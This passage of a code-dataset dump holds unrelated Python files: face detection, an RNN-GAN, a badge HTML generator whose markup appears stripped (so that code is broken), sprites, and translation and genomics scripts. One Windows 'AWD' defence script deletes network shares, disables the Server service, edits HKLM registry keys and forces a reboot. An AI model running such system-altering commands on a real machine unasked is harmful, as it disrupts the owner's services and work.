experiment.submit(config)\n aml_url = run.get_portal_url()\n print(\"Submitted to compute cluster. Click link below\")\n print(\"\")\n print(aml_url)\n","repo_name":"Crystal-Reshea/azure_transformers","sub_path":".azureml/controls/run-pytorch.py","file_name":"run-pytorch.py","file_ext":"py","file_size_in_byte":1239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"2328543167","text":"import cv2\r\nfrom PIL import Image\r\nimport numpy as np\r\nimport ctypes\r\n\r\ntrainedFaceData = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')\r\n\r\n# Get screen size\r\nuser32 = ctypes.windll.user32\r\nscreen_width = user32.GetSystemMetrics(0)\r\nscreen_height = user32.GetSystemMetrics(1)\r\n\r\ndef resize(image):\r\n\r\n image = Image.open(image)\r\n\r\n # Calculate the aspect ratio of the image\r\n aspect_ratio = float(image.width) / float(image.height)\r\n\r\n # Calculate the maximum width and height of the resized image\r\n max_width = screen_width\r\n max_height = screen_height\r\n\r\n # Check if the aspect ratio of the image is greater than the aspect ratio of the screen\r\n if aspect_ratio > float(screen_width) / float(screen_height):\r\n max_height = int(screen_width / aspect_ratio)\r\n else:\r\n max_width = int(screen_height * aspect_ratio)\r\n\r\n # Resize the image\r\n image = image.resize((max_width, max_height), Image.ANTIALIAS)\r\n\r\n # Convert the image to a NumPy array\r\n image_np = np.array(image)\r\n\r\n return image_np\r\n\r\n# Load the original image\r\noriginal_image = cv2.imread(\"image5.jpg\")\r\n\r\n# Resize the image\r\nresized_image = resize(\"image5.jpg\")\r\n\r\n# Convert image to grayscale\r\ngrayScaleImg = cv2.cvtColor(resized_image, cv2.COLOR_BGR2GRAY)\r\n\r\n# Detect faces, detected objects are returned as a list of rectangles \r\nfaceCoordinates = trainedFaceData.detectMultiScale(grayScaleImg)\r\ntry: \r\n for (x,y,w,h) in faceCoordinates:\r\n cv2.rectangle(resized_image, (x, y), (x+w, y+h), (0, 255, 0), 2) # Draw rectangles around detected faces\r\nexcept IndexError:\r\n # Handle the case where no faces are detected\r\n pass\r\n\r\n\r\n# Convert color space from RGB to BGR\r\nresized_image_bgr = cv2.cvtColor(resized_image, cv2.COLOR_RGB2BGR)\r\n\r\n# Display the resized image\r\ncv2.imshow(\"Resized Image\", resized_image_bgr)\r\n\r\n# Save the image with the rectangle\r\ncv2.imwrite(\"image5WithRect.jpg\", resized_image_bgr)\r\n\r\ncv2.waitKey(0)\r\ncv2.destroyAllWindows()\r\n","repo_name":"GitFarhanS/faceDetector","sub_path":"faceDetector.py","file_name":"faceDetector.py","file_ext":"py","file_size_in_byte":2001,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"32014145759","text":"import tensorflow as tf\n\ndef define_cell(rnn_size, keep_prob, name):\n cell_ = tf.contrib.rnn.BasicLSTMCell(rnn_size, state_is_tuple=True, reuse=tf.get_variable_scope().reuse, name=name)\n if keep_prob < 1.:\n cell_ = tf.contrib.rnn.DropoutWrapper(cell_, output_keep_prob=keep_prob)\n return cell_\n\nclass Generator():\n def __init__(self, args, z_inputs, l_inputs, name=\"Generator\", reuse=False):\n with tf.variable_scope(name) as scope:\n if reuse:\n scope.reuse_variables()\n\n scope.set_regularizer(tf.contrib.layers.l2_regularizer(scale=args.scale))\n cell_ = tf.contrib.rnn.MultiRNNCell([define_cell(args.gen_rnn_size, args.keep_prob, \"gen_{}_lstm\".format(l)) for l in range(args.num_layers_g)])\n \n self.state_ = cell_.zero_state(batch_size=args.batch_size, dtype=tf.float32)\n t_state_ = self.state_\n\n outputs = []\n with tf.variable_scope(\"rnn\") as rnn_scope:\n for t_ in range(args.max_time_step):\n if t_ != 0:\n rnn_scope.reuse_variables()\n \n input_ = tf.concat([z_inputs[:,t_,:], l_inputs], axis=-1)\n rnn_input_ = tf.layers.dense(input_, args.gen_rnn_input_size, tf.nn.selu, name=\"RNN_INPUT_DENSE\")\n rnn_output_, t_state_ = cell_(rnn_input_, t_state_)\n logit = tf.layers.dense(rnn_output_, args.range, name=\"RNN_OUT_DENSE\")\n outputs.append(logit)\n \n self.final_state = t_state_\n self.outputs = tf.transpose(tf.stack(outputs), (1,0,2))\n\n reg_losses = tf.get_collection(tf.GraphKeys.REGULARIZATION_LOSSES)\n self.reg_loss = args.reg_constant * sum(reg_losses)\n\n def _logits(self):\n return self.outputs, self.final_state, self.reg_loss\n\nclass Discriminator():\n def __init__(self, args, x, label, name=\"Discriminator\", reuse=False):\n self.name = name\n self.args = args\n\n with tf.variable_scope(name) as scope:\n if reuse:\n scope.reuse_variables()\n\n rnn_input_ = []\n with tf.variable_scope(\"rnn_in_dense\") as i_scope:\n for t_ in range(args.max_time_step):\n if t_ != 0:\n i_scope.reuse_variables()\n \n input_ = tf.concat([x[:,t_,:], label], axis=-1)\n rnn_input_.append(tf.layers.dense(input_, args.dis_rnn_size, tf.nn.relu, name=\"rnn_in_dense\"))\n rnn_input_ = tf.transpose(tf.convert_to_tensor(rnn_input_), (1,0,2)) \n\n fw = tf.contrib.rnn.MultiRNNCell([define_cell(args.dis_rnn_size, args.keep_prob, \"dis_f_{}_lstm\".format(l)) for l in range(args.num_layers_d)], state_is_tuple=True)\n bw = tf.contrib.rnn.MultiRNNCell([define_cell(args.dis_rnn_size, args.keep_prob, \"dis_b_{}_lstm\".format(l)) for l in range(args.num_layers_d)], state_is_tuple=True)\n self.fw_state = fw.zero_state(batch_size=args.batch_size, dtype=tf.float32)\n self.bw_state = bw.zero_state(batch_size=args.batch_size, dtype=tf.float32)\n rnn_output, self.final_state = tf.nn.bidirectional_dynamic_rnn(fw,\n bw,\n rnn_input_,\n initial_state_fw=self.fw_state,\n initial_state_bw=self.bw_state, \n dtype=tf.float32,\n swap_memory = True)\n\n logits = []\n with tf.variable_scope(\"rnn_out_dense\") as o_scope:\n for t_ in range(self.args.max_time_step):\n if t_ != 0 or reuse:\n o_scope.reuse_variables()\n\n rnn_out = tf.concat([rnn_output[0][:,t_,:], rnn_output[1][:,t_,:]], axis=-1)\n logits.append(tf.layers.dense(rnn_out, 1, name=\"rnn_out_dense\"))\n self.logits = tf.transpose(tf.convert_to_tensor(logits), (1,0,2))\n \n def _logits(self):\n return self.logits, self.final_state\n","repo_name":"TrsNium/Conditional_C_RNN_GAN","sub_path":"module.py","file_name":"module.py","file_ext":"py","file_size_in_byte":4333,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"6643456574","text":"import html\nfrom typing import Optional\n\n# Invisible separator. Used to make spell checking work correctly and have the copied text be more natural\ndef as_separator_html(value: str) -> str:\n return f\"{value}\"\n\nSTART = as_separator_html(\" [\")\nSEPARATOR = as_separator_html(\" | \")\nEND = as_separator_html(\"] \")\n\n\ndef generate_badge_html(badge_type: str, badge_value: str, copy_text: Optional[str] = None, link: Optional[str] = None, extra_classes: list[str] = []) -> str:\n value_link = None\n outer_link = None\n title_copy = None\n outer_copy = None\n if link and copy_text:\n value_link = link\n title_copy = copy_text\n elif link and not copy_text:\n outer_link = link\n elif not link and copy_text:\n outer_copy = copy_text\n else:\n # no special actions\n pass\n\n title_html = element(badge_type, [\"title\"], copy_text=title_copy)\n value_html = element(badge_value, [\"value\"], link=value_link)\n\n inner_html = START + title_html + SEPARATOR + value_html + END\n outer_classes = [\"badge\", *extra_classes]\n return element(inner_html, outer_classes, link=outer_link, copy_text=outer_copy)\n\n\ndef generate_single_element_badge_html(badge_type: str, copy_text: Optional[str] = None, link: Optional[str] = None, extra_classes: list[str] = []) -> str:\n title_html = element(badge_type, [\"title\"])\n\n inner_html = START + title_html + END\n outer_classes = [\"badge\", *extra_classes]\n return element(inner_html, outer_classes, link=link, copy_text=copy_text)\n\n\ndef element(value: str, class_list: list[str], link: Optional[str] = None, copy_text: Optional[str] = None) -> str:\n if link and copy_text:\n raise Exception(\"You can not specify both link and copy_text\")\n if link:\n return f'{value}'\n elif copy_text:\n class_list = [\"badge-copy\", *class_list]\n return f'{value}'\n else:\n return f'{value}'\n\n\ndef class_attribute(class_list: list[str]) -> str:\n if not class_list:\n return \"\"\n else:\n for class_name in class_list:\n if len(class_name.split()) > 1:\n raise Exception(f\"Class contains white space: '{class_name}'\")\n if len(class_list) == 1:\n return f\" class={class_list[0]}\"\n else:\n classes = \" \".join(class_list)\n return f' class=\"{classes}\"'\n","repo_name":"six-two/mkdocs-badges","sub_path":"src/mkdocs_badges/badge_html.py","file_name":"badge_html.py","file_ext":"py","file_size_in_byte":2586,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"47"} +{"seq_id":"13350726783","text":"import random\n\nimport pygame\n\nimport utils\n\n\nclass Sprite(pygame.sprite.Sprite):\n def __init__(\n self,\n pos,\n size_x=None,\n size_y=None,\n color=None,\n image_path=None\n ):\n super().__init__()\n\n if color and size_x and size_y:\n self.resize(size_x, size_y)\n self.image.fill(color)\n else:\n self.image = pygame.image.load(image_path)\n\n self.rect = self.image.get_rect(bottomleft=pos)\n\n def flip(self, x=False, y=False):\n self.image = pygame.transform.flip(self.image, flip_x=x, flip_y=y)\n\n def reset_position(self, pos):\n self.rect = self.image.get_rect(bottomleft=pos)\n\n def resize(self, size_x, size_y):\n self.image = pygame.Surface((size_x, size_y))\n\n def shift(self, shift_x, shift_y):\n self.rect.x += shift_x\n self.rect.y += shift_y\n\n\nclass AnimatedSprite(Sprite):\n def __init__(\n self,\n pos,\n image_path,\n anim_path,\n anim_states,\n anim_speed\n ):\n super().__init__(pos, image_path=image_path)\n\n self.frame_index = 0\n self.anim_speed = anim_speed\n self.anim_path = anim_path\n self.anim_states = anim_states\n self.state = 'idle'\n\n self.animations = utils.import_sprites(anim_path, anim_states)\n\n def animate(self):\n animation = self.animations[self.state]\n self.frame_index += self.anim_speed\n if self.frame_index >= len(animation):\n self.frame_index = 0\n\n self.image = animation[int(self.frame_index)]\n\n def randomize_frame_index(self, frames_amount):\n self.frame_index = random.randrange(0, frames_amount)\n","repo_name":"panalexeu/samurai","sub_path":"sprite.py","file_name":"sprite.py","file_ext":"py","file_size_in_byte":1760,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"26157432113","text":"#author:九世\r\n#time:2019/3/27\r\n\r\nimport winreg\r\nimport os\r\nimport re\r\n\r\nclass Close:\r\n def __init__(self,command):\r\n self.command=command\r\n def commands(self):\r\n print('[+] 关闭445端口设置完成后需要重启计算机(按任意键继续/N退出)')\r\n user=input('>')\r\n if user=='N':\r\n exit()\r\n zx=os.popen(self.command[0])\r\n zhi=re.findall('[A-Z]{1,}[$]',zx.read())\r\n for v in zhi:\r\n dele=os.popen('{} {} /del'.format(self.command[0],v))\r\n print(dele.read())\r\n\r\n closes=os.popen('net stop Server')\r\n jyon=os.popen('sc config LanmanServer start= disabled')\r\n print('[+] 关闭并禁用Server服务')\r\n print(closes.read())\r\n print(jyon.read())\r\n print('[+] 1 秒后重启计算机')\r\n reboot=os.popen('shutdown -t 1 -r')\r\n reboot.read()\r\n\r\n def dreg(self):\r\n jc=winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE,r'System\\CurrentControlSet\\Services\\LanmanServer\\Parameters',0,winreg.KEY_ALL_ACCESS)\r\n jc2=winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE,r'System\\CurrentControlSet\\Control\\Lsa',0,winreg.KEY_ALL_ACCESS)\r\n winreg.SetValueEx(jc,'AutoShareServer',1,winreg.REG_DWORD,0)\r\n winreg.SetValueEx(jc, 'AutoShareWKs', 1, winreg.REG_DWORD, 0)\r\n winreg.SetValueEx(jc2,'restrictanonymous',1,winreg.REG_DWORD,1)\r\n print('[+] 永久关闭盘符的默认共享,设置HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\LanmanServer\\Parameters里的AutoShareServer键值为:0')\r\n print('[+] 永久关闭admin$的默认共享,设置HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\LanmanServer\\Parameters里的AutoShareWKs键值为:0')\r\n print('[+] 永久关闭IPC$的默认共享,设置HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa里的restrictanonymous键值为1')\r\n\r\nif __name__ == '__main__':\r\n comman=['net share']\r\n obj=Close(command=comman)\r\n obj.commands()\r\n obj.dreg()\r\n","repo_name":"guokai27/python-hei","sub_path":"AWD/windows防御/close_port_445.py","file_name":"close_port_445.py","file_ext":"py","file_size_in_byte":2001,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"15224594236","text":"\"\"\" CODE 22:\nRepeatedly ask the user to enter a team name and the how many games the team won and how many they lost. Store this\ninformation in a dictionary where the keys are the team names and the values are lists of the form [wins, losses].\n(a) Using the dictionary created above, allow the user to enter a team name and print out the team’s winning percentage.\n(b) Using the dictionary, create a list whose entries are the number of wins of each team.\n(c) Using the dictionary, create a list of all those teams that have winning records\n\n\"\"\"\n\n\ndef take_input(dictionary: dict[str, list[int]]) -> None:\n print(\"Press (.) to exit\")\n while True:\n team_name = input(\"Team Name: \")\n if team_name == '.':\n print(dictionary)\n break\n if team_name in dictionary:\n print(f\"Team already exists, {dictionary[team_name]}\")\n retain = input(\"Want to retain value (y/n): \")\n if retain.lower() == 'y': continue\n wins = int(input(\"Wins: \"))\n losses = int(input(\"Losses: \"))\n dictionary[team_name] = [wins, losses]\n\n\ndef winning_percentage_of(team: str, scoreboard: dict[str, list[int]]) -> str | float:\n if team not in scoreboard:\n return \"Team not found in dictionary\"\n wins, loses = scoreboard[team]\n return wins / (wins + loses) * 100\n\n\nSCOREBOARD: dict[str, list[int]] = dict()\ntake_input(SCOREBOARD)\n# a)\nresult = winning_percentage_of(input(\"Enter Team name: \"), SCOREBOARD)\nprint(result if isinstance(result, str) else f\"The team has {result:.2f}% winning chances\")\n# b)\nprint([wins for wins, *_ in SCOREBOARD.values()])\n# c)\nprint([team for team, (team_has_wins, *_) in SCOREBOARD.items() if team_has_wins])\n","repo_name":"warmachine028/university-skills","sub_path":"SEMESTER 3/DSA/SKILL_14_PY/22_Dictionary_Operations.py","file_name":"22_Dictionary_Operations.py","file_ext":"py","file_size_in_byte":1723,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"9899367929","text":"import sys, os\nimport familyanalyzer as fa\n\n# Checks for right input parameters\nif len(sys.argv) < 3:\n print(\"Use: python compute_species_coverage TaxLevel [threshold]\")\n sys.exit(0)\n \nXML = sys.argv[1]\nif not os.path.exists(XML):\n print(\"Couldn't find OrthoXML file: \" + XML)\n sys.exit(0)\nif not XML.endswith(\".orthoxml\"):\n print(\"OrthoXML has wrong format or file ending (expected: file.orthoxml)! \")\n sys.exit(0)\n\nlevel = sys.argv[2]\n\nif len(sys.argv) < 4:\n print(\"WARNING: No threshold given! Using default 0.5!\")\n threshold = 0.5\nelse:\n threshold = float(sys.argv[3])\n\n \n# Parse OrthoXML and compute taxonomic information\nop = fa.OrthoXMLParser(XML)\nif level not in op.getLevels():\n print(\"Couldn't find level: \" + level + \"! Available levels:\")\n for l in op.getLevels():\n print(l)\n sys.exit(0)\ntax = fa.TaxonomyFactory.newTaxonomy(op)\nop.augmentTaxonomyInfo(tax)\nall_levels = tax.get_histories(op)\nall_branches = tax.get_comparisons(op)\n\n# Compute species coverages for each HOG\nHOGs = tax.histories[level]\nout = \"HOG ID, species coverage\\n\"\nout_below = \"\"\nout_above = \"\"\n\nfor HOG in HOGs:\n if level == \"LUCA\":\n num_all_species = len(op.getSpeciesSet())\n else:\n num_all_species = len(level.split(\"/\"))\n HOG_species = set()\n for gene in HOG.getMemberGenes():\n HOG_species.add(op.mapGeneToSpecies(gene))\n coverage = len(HOG_species)/num_all_species\n out += HOG.getFamId() + \", \" + str(coverage) + \"\\n\"\n if (coverage < threshold):\n out_below += HOG.getFamId() + \"\\n\"\n else:\n out_above += HOG.getFamId() + \"\\n\"\n\n# Write output\nwith open(XML.replace(\".orthoxml\", \".coverages.above.txt\"), \"w\") as f:\n f.write(out_above)\nwith open(XML.replace(\".orthoxml\", \".coverages.below.txt\"), \"w\") as f:\n f.write(out_below)\nwith open(XML.replace(\".orthoxml\", \".coverages.csv\"), \"w\") as f:\n f.write(out)\n","repo_name":"DessimozLab/familyanalyzer-deprecated","sub_path":"bin/compute_species_coverages.py","file_name":"compute_species_coverages.py","file_ext":"py","file_size_in_byte":1918,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"15968712712","text":"''' Translate input text with trained model. '''\nfrom model import TransformerModel\nfrom datasets import IndexedInputTargetTranslationDataset\nfrom dictionaries import IndexDictionary, END_TOKEN\n\nfrom argparse import ArgumentParser\nfrom translator import Translator\nimport json\nimport torch\nimport os\nfrom dictionaries import special_tokens, PAD_TOKEN, UNK_TOKEN, START_TOKEN, END_TOKEN\nfrom tqdm import tqdm\nfrom multiprocessing import Process\n\n\nparser = ArgumentParser(description='Predict translation')\nparser.add_argument('--source', type=str)\nparser.add_argument(\"--dn\", type=str, required=True, help=\"data name\")\nparser.add_argument(\"--rn\", type=str, required=True, help=\"range name\")\nparser.add_argument(\"--tdn\", type=str, default=\"\", help=\"target data name\")\nparser.add_argument(\"--epoch\", type=str, default=\"\", help=\"model epoch\")\nparser.add_argument(\"--alone\", action='store_true')\nparser.add_argument('--beam_size', type=int, default=3)\nparser.add_argument('--max_seq_len', type=int, default=100)\nparser.add_argument('--no_cuda', action='store_true')\nparser.add_argument('--device', type=int, default=\"0\")\nparser.add_argument('--bs', type=int, default=128,\n help='Batch size')\nparser.add_argument('--pred_num', type=int, default=int(1e5))\nargs = parser.parse_args()\n\nconfig_dir = \"../config\"\nconfig_path = os.path.join(config_dir, \"config.json\")\nwith open(config_path) as f:\n config = json.load(f)\n\ndata_name = args.dn\nrange_name = args.rn\nmodel_dir = \"../bestModel\"\nepoch_postfix = (\"_\" + args.epoch) if args.epoch != \"\" else \"\"\ncheckpoint_path = os.path.join(model_dir, f\"{data_name}-{range_name}{epoch_postfix}.pth\")\nprint(f\"Using model: {checkpoint_path}\")\n\ndictionary_dir = config['data_dir'] + \"-\" + data_name + \"-\" + range_name\n# dictionary_dir = config['data_dir'] + \"-\" + args.postfix\nprint(f'Constructing dictionaries from {dictionary_dir}...')\nsource_dictionary = IndexDictionary.load(dictionary_dir, mode='source')\ntarget_dictionary = IndexDictionary.load(dictionary_dir, mode='target')\n# 输出目录\noutputDir = f\"../data/prediction-{data_name}-{range_name}{epoch_postfix}\"\nif not os.path.isdir(outputDir):\n os.makedirs(outputDir)\n\nis_proof_process = True\n# 根据dn和rn输出prediction\ndef predict(dn, rn, device):\n dir_name_format = \"../data/{dn}-{rn}-raw\"\n dir_name = dir_name_format.format(dn=dn, rn=rn)\n input_path = os.path.join(dir_name, \"src-test.txt\")\n if not os.path.isfile(input_path):\n print(f\"File: {input_path} not exist.\")\n return\n\n output_filename = f\"prediction-{dn}-{rn}.txt\"\n output_path = os.path.join(outputDir, output_filename)\n if os.path.isfile(output_path):\n print(f\"File {output_path} already exists.\")\n return\n\n # 作用:将src进行index\n preprocess = IndexedInputTargetTranslationDataset.preprocess(source_dictionary)\n # 作用:将输出逆index为句子\n postprocess = lambda x: ''.join(\n [token for token in target_dictionary.tokenize_indexes(x) if token != END_TOKEN and token != START_TOKEN and token != PAD_TOKEN])\n\n print('Building model...')\n model = TransformerModel(source_dictionary.vocabulary_size, target_dictionary.vocabulary_size,\n config['d_model'],\n config['nhead'],\n config['nhid'],\n config['nlayers'])\n model.eval()\n checkpoint_filepath = checkpoint_path\n checkpoint = torch.load(checkpoint_filepath, map_location='cpu')\n model.load_state_dict(checkpoint)\n translator = Translator(\n model=model,\n beam_size=args.beam_size,\n max_seq_len=args.max_seq_len,\n trg_bos_idx=target_dictionary.token_to_index(START_TOKEN),\n trg_eos_idx=target_dictionary.token_to_index(END_TOKEN)\n ).to(device)\n\n from utils.pipe import PAD_INDEX\n def pad_src(batch):\n sources_lengths = [len(sources) for sources in batch]\n sources_max_length = max(sources_lengths)\n sources_padded = [sources + [PAD_INDEX] * (sources_max_length - len(sources)) for sources in batch]\n sources_tensor = torch.tensor(sources_padded)\n return sources_tensor\n def process(seq):\n seq = seq.strip()\n def is_proof(name):\n return name.count(\"balance\") > 0 or name.count(\"one\") > 0 or name.count(\"31\") > 0\n if is_proof(data_name) and not is_proof(dn):\n seq += \",$,1\"\n global is_proof_process\n if is_proof_process:\n print(\"processing\")\n is_proof_process = False\n return seq\n\n batch_size = args.bs\n print(f\"Output to {output_path}:\")\n with open(output_path, 'w', encoding='utf-8') as outFile:\n with open(input_path, 'r', encoding='utf-8') as inFile:\n seqs = []\n for i, seq in tqdm(enumerate(inFile)):\n # if i >= args.pred_num:\n # print(f\"Done translating: num {i}.\")\n seq = process(seq)\n src_seq = preprocess(seq)\n seqs.append(src_seq)\n if len(seqs) >= batch_size:\n pred_seq = translator.translate_sentence(pad_src(seqs).to(device))\n pred_line = [postprocess(pred) for pred in pred_seq]\n # print(pred_line)\n outFile.writelines([p.strip() + '\\n' for p in pred_line])\n seqs.clear()\n # endif\n # endfor\n if seqs: # last batch\n pred_seq = translator.translate_sentence(pad_src(seqs).to(device))\n pred_line = [postprocess(pred).replace(START_TOKEN, '').replace(END_TOKEN, '') for pred in pred_seq]\n # print(pred_line)\n outFile.writelines([p.strip() + '\\n' for p in pred_line])\n seqs.clear()\n # endwith\n # endwith\n print(f'[Info] {input_path} Finished.')\n\n\n# 功能:对data name里所有的rn进行测试\ndef main(dn, device):\n range_names = [\"5t20\", \"20t35\", \"35t50\"]\n processes = []\n for rn in range_names:\n p = Process(target=predict, args=(dn, rn, device))\n processes.append(p)\n\n for p in processes:\n p.start()\n\n for p in processes:\n p.join()\n\n\nif __name__ == \"__main__\":\n tdn = args.tdn\n import multiprocessing\n multiprocessing.set_start_method('spawn')\n device = torch.device(f'cuda:{args.device}' if torch.cuda.is_available() and not args.no_cuda else 'cpu')\n # 对自己分布进行测试\n if tdn == \"\":\n main(data_name, device)\n elif tdn.startswith(\"other\"): # proof特化\n tdns = [\"rcf-31\", \"rf-31\", \"pf-31\"]\n processes = []\n for td in tdns:\n p = Process(target=main, args=(td, device))\n processes.append(p)\n\n for p in processes:\n p.start()\n\n for p in processes:\n p.join()\n elif tdn == \"ps\": # proof特化\n tdn = \"spot-31\"\n main(tdn, device)\n else: # 对目标分布测试\n main(tdn, device)\n # endif\n","repo_name":"GreenieQwQ/TTNN","sub_path":"src/translate.py","file_name":"translate.py","file_ext":"py","file_size_in_byte":7077,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"25607722397","text":"\"\"\" Methods for a standard feature matrix based workflow for use in ISB-INOVA projects.\nFocus on creating a general, semi-automated, preprocessing and analysis workflow \nfor study 101, and for reuse on similar studies.\n\n- Methods to create FMs out of source files\n- Methods to merge FMs, check consistency and filter for stats purposes\n- Methods to run pairwise analysis and summarize results (currently for medium to small runs only, metadata)\n\nThe goal was to organize all of the analysis workflow that \nwas validated on DF4 and reused on DF5 for study 101, while \nallowing for more general use when possible. However, for \nseveral reasons (including time constraints, prototyping, \nprocedures run in parallel, source data on different servers)\nwe have limited this to only a subset of the analysis and preprocessing.\nSome procedure must be run directly from custWF and gnmcUtil or even \nusing by resources not included in this package.\n\nView the README for more information, including links to extended \ndocumentation on the more complete workflow.\n\nDesigned around study 101,\nSome limitations on this relate to primary phenotype being defined by family.\nas in NB of FAM was PTB. For some sources, data on all family members is available \nbut in others this is not true (PTB on NB only, molecular data on M only)\nso we have organized this around the family unit (suffix -FAM). \nIn cases with twins, only one is chosen as representative. \nWe note that this limitation is introduced for systematic analysis \nof feature matrix like input data.\n\"\"\"\n\nimport numpy as np\nimport subprocess\nimport time\nimport shutil\nimport statsUtil \nimport logging\nimport sys\nimport ConfigParser\nimport argparse\nimport os\nimport genUtil\nimport gnmcUtil\nimport random\nimport warnings\nimport gzip\n\nfloatFmtStr = '%05.4E'\nnanValues = ['NA','NaN','na','nan']\n\ndisc=\"python workflow for standard genomic/molecular data analysis, INOVA 101.\"\nversion='0.1.0'\n\ndef checkPatientID(patientID,checkOpt={}):\n\t\"\"\"Check that ID is consistent with expectations.\n\tCheck options are set in the dictionary checkOpt.\n\tIf no dictionary use defaults.\n\tChecks the id type('allowedIDTypes', str list), \n\tif ok transforms to isb type to check:\n\tthe study id ('studyID', str)\n\tthe subject prefixes ('allowedSuffix', str list)\n\t\"\"\"\n\tif checkOpt.has_key('studyID'):studyID=checkOpt['studyID']\n\telse:studyID='101'\n\tif checkOpt.has_key('allowedSuffix'):allowedSuffix=checkOpt['allowedSuffix']\n\telse:allowedSuffix=['FAM']\n\tif checkOpt.has_key('allowedIDTypes'):allowedIDTypes=checkOpt['allowedIDTypes']\n\telse:allowedIDTypes=['isb']\n\n\t# get type \n\tinIDType = genUtil.idType(patientID)\n\t# NOTE: not sure but choosing only the first may cause issues in checking?\n\t# it will not miss an error, but may throw one without proper cause\n\tif type(inIDType)==list:inIDType=inIDType[0]\n\n\tif not allowedIDTypes[0]=='any':\n\t\t# check this type\n\t\tif inIDType not in allowedIDTypes: \n\t\t\traise ValueError (\"ERR:0004 unexpected sample id type \"+inIDType+', for sample :'+patientID)\n\t\n\tif inIDType=='isb':_patientID = patientID\n\telse: _patientID = genUtil.convIDType(patientID,'isb')\n\n\t\t\n\t\t\n\n\ttmp = _patientID.split('-')\n\tif tmp[0] != studyID:\n\t\traise ValueError (\"ERR:0001 unexpected study id \"+str(tmp[0])+', for sample :'+patientID)\n\telif (not allowedSuffix[0]=='any') and ('-'.join(tmp[2:]) not in allowedSuffix): \n\t\traise ValueError (\"ERR:0002 unexpected member id \"+'-'.join(tmp[2:])+', for sample :'+patientID+'. Suffixes limited to '+str(allowedSuffix))\n\n\ndef getPatientOrder(sampList,checkSampIDs=True,checkOpt={}):\n\t\"\"\"Get the sample names and order from:\n\tIf sampList is a str assume a path and look for\n\ta tsv or new line separated text file or \n\ta properly formated, pre-existing feature matrix header;\n\telse, assume iterative and run check only.\n\tif checkSampIDs, then the resulting or passed list will be \n\tinspected to ensure the IDs are as expected, see \n\tcheckPatientID() for more info on options, checkOpt.\n\t\"\"\"\n\tif type(sampList)==str:\n\t\t# assume its a path to a file of names\n\t\tfin = open( sampList )\n\t\tfirstLine = fin.next().strip().split('\\t')\n\t\tif len(firstLine) == 1:\n\t\t\t# assume its a new line sep list\n\t\t\tsampList = [firstLine[0]]\n\t\t\tfor line in fin: sampList.append(line.strip())\n\t\telse: \n\t\t\t# could be FM or tsv list\n\t\t\ttry:\n\t\t\t\tsecondline = fin.next().strip().split('\\t')\n\t\t\t\tif len(secondline)!=len(firstLine):\n\t\t\t\t\traise ValueError('ERR:00020, multiline sample list input is not in recognized FM format')\n\t\t\t\t# there is a second line, same size, assume FM\n\t\t\t\tsampList = firstLine[1:]\n\t\t\texcept StopIteration:\n\t\t\t\t# no second line, assume its a one line tsv list\n\t\t\t\tsampList = firstLine\n\t\t\n\tif checkSampIDs:\n\t\tfor samp in sampList:\n\t\t\tcheckPatientID(samp,checkOpt=checkOpt)\t\n\treturn sampList\n\n\ndef clin2FamForm(curClinFMPath,newClinFMPath,newClinCPFMPath,sampList=''):\n\t\"\"\"Some special formating of the original clinical FM \n\tis need for the gampcop 101 study.\n\tWe have dumped all that in here.\n\tcurClinFMPath is the actual path.\n\tsampList is a list of samples to extract\n\tfrom the curent FM.\n\tsampList format see getPatientOrder\n\tNote, sampList should be -FAM's\n\tand curClin should be -NB's\n\tfor the gamcop 101 study.\n\t\"\"\"\n\n\tcritP = ['1n2v4','1v4','TermCategory','Gestational_Age_at_Delivery','Preterm','History_of_Preterm_Birth','Placenta_Related','Prom_Related','Preeclampsia/Eclampsia','Incompetent_Shortened_Cervix','Uterine_Related','Hypertension_Related','Immune_Related','Inova_Idiopathic_NA']\n\n\tcurClinFM = open(curClinFMPath)\n\t# get the sample order and check for NB tag tags as expected\n\tcheckOpt = {}\n\tcheckOpt['studyID'] = '101'\n\tcheckOpt['allowedSuffix'] = ['NB','NB-A','NB-B']\n\tcheckOpt['allowedIDTypes'] = ['isb']\n\t# note uses first line of curClinFM\n\tcurSampList = getPatientOrder(curClinFM.next().strip().split('\\t')[1:],checkOpt=checkOpt)\n\t# change names to FAM based\n\tfor i in range(len(curSampList)):\n\t\ttmp = curSampList[i].split('-')\n\t\tcurSampList[i] = tmp[0]+'-'+tmp[1]+'-FAM'\n\n\tif sampList=='':\n\t\tnewSampList = curSampList\n\telse:\n\t\t# load/check new sample list\n\t\tcheckOpt['studyID'] = '101'\n\t\tcheckOpt['allowedSuffix'] = ['FAM']\n\t\tcheckOpt['allowedIDTypes'] = ['isb']\n\t\tnewSampList = getPatientOrder(sampList,checkOpt=checkOpt)\n\n\t# get the index to conform the current FM to new sampList\n\tlogging.info(\"Checking for existence and order of desired samples in \"+curClinFMPath)\n\tsampInd = genUtil.getSampA2OrderSampBInd(curSampList,newSampList)\n\t\n\n\tfout = open(newClinFMPath,'w')\n\tfout2 = open(newClinCPFMPath,'w')\n\n\tfout.write('.')\n\tfout2.write('.')\n\t\n\tfor sampID in newSampList:\n\t\tfout.write('\\t'+sampID)\n\t\tfout2.write('\\t'+sampID)\n\tfout.write('\\n')\n\tfout2.write('\\n')\n\n\t# allocate before, it is faster\n\t# an index of len(curSampList) will draw an nan\n\t# constant with sampInd strategy for samples not in current FM \n\tdata = np.array(np.zeros(len(curSampList)+1)+np.nan,dtype='|S15')\n\n\n\t# note header line already used above\n\tfor line in 